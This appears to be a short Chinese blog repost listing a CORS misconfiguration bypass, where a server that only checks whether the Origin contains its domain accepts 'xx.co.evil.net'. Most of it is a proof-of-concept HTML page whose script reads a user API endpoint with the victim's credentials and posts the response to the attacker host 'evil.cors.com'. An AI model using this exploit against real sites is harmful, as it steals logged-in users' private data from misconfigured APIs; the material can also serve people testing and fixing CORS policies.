跨域资源共享(CORS)-漏洞整理
作者：互联网
绕过 - 仅对域名校验
#POC
#"Access-Control-Allow-Origin: https://xx.co & Access-Control-Allow-
Credentials: true".
#Origin: https://xx.co.evil.net, Access-Control-Allow-Origin: https://xx.co.evil.net.
<html>
<body>
<button type='button' onclick='cors()'>CORS</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText;
document.getElementById("demo").innerHTML = a;
xhttp.open("POST", "http://evil.cors.com", true);
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("GET", "https://www.xx.co/api/v1/users/*******", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
View Code
标签：资源共享,co,跨域,xhttp,Access,xx,https,CORS,true 来源： https://www.cnblogs.com/AtesetEnginner/p/11261569.html